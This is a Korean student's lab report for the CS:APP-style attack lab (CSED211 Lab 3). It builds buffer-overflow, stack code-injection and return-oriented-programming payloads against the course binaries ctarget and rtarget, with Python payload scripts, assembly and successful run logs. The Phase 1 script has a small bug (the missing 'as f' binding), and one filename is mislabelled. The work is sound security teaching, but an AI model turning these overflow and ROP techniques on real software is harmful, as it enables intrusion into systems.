CSED211: Lab 3 (due Nov. 6)

손량(20220323)

Last compiled on: Monday 30th October, 2023, 03:16

1 개요

Buffer overflow 취약점이 있는 프로그램을 code injection, return oriented programming 등의 방법으로 공격해 본다.

2 공격 방법

2.1 Phase 1

Phase 1을 해결하기 위해서는 `getbuf` 함수의 buffer overflow 취약점을 활용하여 `touch1` 함수를 실행해야 한다. `getbuf` 함수는 스택에 `0x18`, 즉 24바이트를 할당하기 때문에 24바이트의 문자열 뒤에 `touch1` 함수의 주소인 `0x40184d`를 byte order에 맞게 붙여주면 공격을 위한 input string을 생성할 수 있다. 이를 위해서는 다음과 같은 파이썬 코드를 사용하고,

```
import struct

with open("phase1_payload.bin", "wb"):
    f.write(b"A" * 0x18)
    f.write(struct.pack("<q", 0x40184d))
```

여기서 `struct` 모듈은 little endian byte order에 맞게 주소값을 입력하기 위해 사용하였다. 코드의 `"<q"`는 8바이트 값을 little endian에 맞게 packing 하라는 의미이다. 생성된 `phase1_payload.bin` 파일을 입력으로 주어 실행시키면 공격이 성공함을 알 수 있다.

```
$ ./ctarget < phase1_payload.bin
Cookie: 0x3e52dff5
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

2.2 Phase 2

Phase 2를 해결하기 위해서는 `touch2` 함수를 실행해야 하는데, phase 1과는 달리 edi 레지스터에 cookie 값이 있어야 한다는 차이점이 있다. 이 때문에 단순히 리턴 주소를 `touch2` 함수의 것으로 덮는 대신, 스택에 edi 래지스터에 값을 쓰는 코드를 입력하고 `touch2` 함수를 call 하는 코드를 입혁한 뒤 스택에 있는 코드로 리턴하도록 해야 한다. 스택에 덮어쓸 어셈블리 코드는 다음과 같이 작성할 수 있다.

```
.section .text
.globl start
start:
mov $0x3e52dff5, %edi
mov $0x401879, %rax
callq *%rax
```

이 코드를 ELF 헤더 등이 없는 raw binary 형태의 코드로 컴파일하기 위해, 다음 명령어를 사용하였다. 어셈블리 코드를 `phase3_code.S`에 저장하였다.

```
$ as -o phase2_code.o phase2_code.S
$ ld -e start --oformat binary -o phase2_code.bin phase2_code.o
```

위 명령어를 실행하면 `phase2_code.bin` 파일을 얻을 수 있고, 이 파일의 내용을 스택에 덮어쓰면 된다. `getbuf` 함수의 `ret` 명령어가 실행되는 순간에 `rsp` 값은 `0x55629f40`이기 때문에, 리턴 주소를 `0x55629f48`로 설정한 뒤 주소 뒤에 앞서 얻은 `phase2_code.bin` 파일의 내용을 붙이면 공격을 위한 input string을 만들 수 있다. 이를 수행하는 코드는 다음과 같다.

```
import struct

with open("phase2_payload.bin", "wb") as outfile, open(
    "phase2_code.bin", "rb"
) as infile:
    outfile.write(b"A" * 0x18)
    outfile.write(struct.pack("<q", 0x55629F48))
    outfile.write(infile.read())
```

이 코드를 통해 생성한 `phase2_payload.bin` 파일을 입력으로 주어 실행시키면 공격이 성공함을 알 수 있다.

```
$ ./ctarget < phase2_payload.bin
Cookie: 0x3e52dff5
Type string:Touch2!: You called touch2(0x3e52dff5)
Valid solution for level 2 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

2.3 Phase 3

`touch3` 함수의 코드를 분석해 보면 `hexmatch` 함수의 반환 값을 확인함을 알 수 있다. 이 함수에서는 랜덤을 통해 복잡한 연산을 수행하여 `0x55629f0b` 주소를 만든 다음, cookie 값이 저장되어 있는 rdx 레지스터를 `sprintf` 함수를 이용해 16진수로 이 주소에 출력한다. 그 뒤에 `strncmp` 함수를 사용하여 함수 호출 시점에서 rsi 레지스터에 있었던 주소의 문자열과 비교하여 같다면 1을 반환함을 알 수 있다. `hexmatch` 함수가 0이 아닌 값을 반환해야 공격이 성공하기 때문에, rdi 레지스터에 cookie 값을 16진수로 나타낸 문자열의 주소를 넣게 `touch3` 함수를 실행하면 공격을 할 수 있음을 예상할 수 있다. 문자열 또한 스택에 적어두고, 스택의 주소를 참조하는 식으로 공격을 설계하면 될 것이다. 여기에서는 스택의 적힌 리턴 주소 바로 다음에 cookie를 16진수로 적은 문자열을 저장하고 그 다음에 코드가 이어지도록 했지만, 여러 가지 방법이 가능할 것이다. 스택에 덮을 어셈블리 코드는 다음과 같다.

```
.section .text
.globl start
start:
mov $0x55629f48, %rdi
mov $0x40194d, %rax
callq *%rax
```

앞서 phase 2를 해결할 때 실행했던 것과 비슷한 명령어를 실행하여 `phase3_code.bin` 파일을 얻을 수 있다.

```
$ as -o phase3_code.o phase3_code.S
$ ld -e start --oformat binary -o phase3_code.bin phase3_code.o
```

Input string은 다음과 같은 코드로 만들 수 있다.

```
import struct

cookie = 0x3E52DFF5
stack_addr = 0x55629F40

with open("phase3_payload.bin", "wb") as outfile, open(
    "phase3_code.bin", "rb"
) as infile:
    outfile.write(b"A" * 0x18)
    cookie_hex = f"{cookie:8x}".encode() + b"\x00"
    outfile.write(struct.pack("<q", stack_addr + 8 + len(cookie_hex)))
    outfile.write(cookie_hex)
    outfile.write(infile.read())
```

이 코드를 통해 생성한 `phase3_payload.bin` 파일을 입력으로 주어 실행시키면 공격이 성공함을 알 수 있다.

```
$ ./ctarget < phase3_payload.bin
Cookie: 0x3e52dff5
Type string:Touch3!: You called touch3("3e52dff5")
Valid solution for level 3 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

2.4 Phase 4

ROP를 위한 가젯을 찾아 본 결과, `popq %rax; retq`과 `movq %rax, %rdi; retq` 명령어에 해당하는 byte pattern을 `0x4019e7`, `0x4019f8` 주소에서 찾을 수 있었다. rax 레지스터를 pop하는 가젯의 주소 다음, rax 레지스터에 들어갈 cookie 값을 배치한 다음 mov 명령어를 실행하는 가젯의 주소를 배치하고, `touch2` 함수의 주소를 배치하면 공격할 수 있을 것이다. 공격을 위한 input string을 만드는 코드는 다음과 같다.

```
import struct

with open("phase4_payload.bin", "wb") as f:
    f.write(b"A" * 0x18)
```

```
    f.write(struct.pack("<q", 0x4019E7))
    f.write(struct.pack("<q", 0x3E52DFF5))
    f.write(struct.pack("<q", 0x4019F8))
    f.write(struct.pack("<q", 0x401879))
```

이 코드를 통해 생성한 `phase4_payload.bin` 파일을 입력으로 주어 실행시키면 공격이 성공함을 알 수 있다.

```
$ ./rtarget < phase4_payload.bin
Cookie: 0x3e52dff5
Type string:Touch2!: You called touch2(0x3e52dff5)
Valid solution for level 2 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

2.5 Phase 5

Phase 3의 풀이를 생각해 보았을 때, 스택에 cookie를 16진수로 적은 문자열을 저장한 다음 이 문자열의 주소를 rdi 레지스터에 넣어야 했다. Phase 3의 경우에는 스택의 주소가 고정되어 있었기 때문에 이것이 쉬웠지만, 여기에서는 스택의 주소가 랜덤화되어 있기 때문에 스택의 주소 역시 가젯을 사용하여 읽어야 한다. 가젯을 찾아 본 결과 `movq %rsp, %rax; retq`, `addb $0x37, %al; retq`, `movq %rax, %rdi; retq`에 해당하는 가젯을 `0x401a44`, `0x401a18`, `0x4019f8` 주소에서 찾을 수 있었다. 앞서 언급한 가젯들의 주소를 차례대로 스택에 쌓은 다음, `touch3` 함수의 주소를 쌓은 다음, 31바이트의 패딩 이후에 cookie를 16진수로 나타낸 문자열을 넣었다고 하자. 이때 rsp를 rax에 저장하는 명령어가 실행된 직후의 스택에는 3개의 주소와 31바이트의 padding 뒤에 cookie 문자열이 위치하게 된다. 각 주소는 8바이트이므로 $8 \times 3 + 31 = 55$바이트, 즉 rax 레지스터에 `0x37`바이트를 더한 주소에 문자열이 있으므로, 원하는 문자열이 결과적으로 rdi에 저장되어 공격에 성공하게 된다. 공격을 위한 input string을 만드는 코드는 다음과 같다.

```
import struct

cookie = 0x3E52DFF5

with open("phase5_payload.bin", "wb") as f:
    f.write(b"A" * 0x18)
    f.write(struct.pack("<q", 0x401A44))
    f.write(struct.pack("<q", 0x401A18))
    f.write(struct.pack("<q", 0x4019F8))
    f.write(struct.pack("<q", 0x40194D))
    f.write(b"A" * 31 + f"{cookie:8x}".encode() + b"\x00")
```

이 코드를 통해 생성한 `phase5_payload.bin` 파일을 입력으로 주어 실행시키면 공격이 성공함을 알 수 있다.

```
$ ./rtarget < phase5_payload.bin
Cookie: 0x3e52dff5
Type string:Touch3!: You called touch3("3e52dff5")
Valid solution for level 3 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```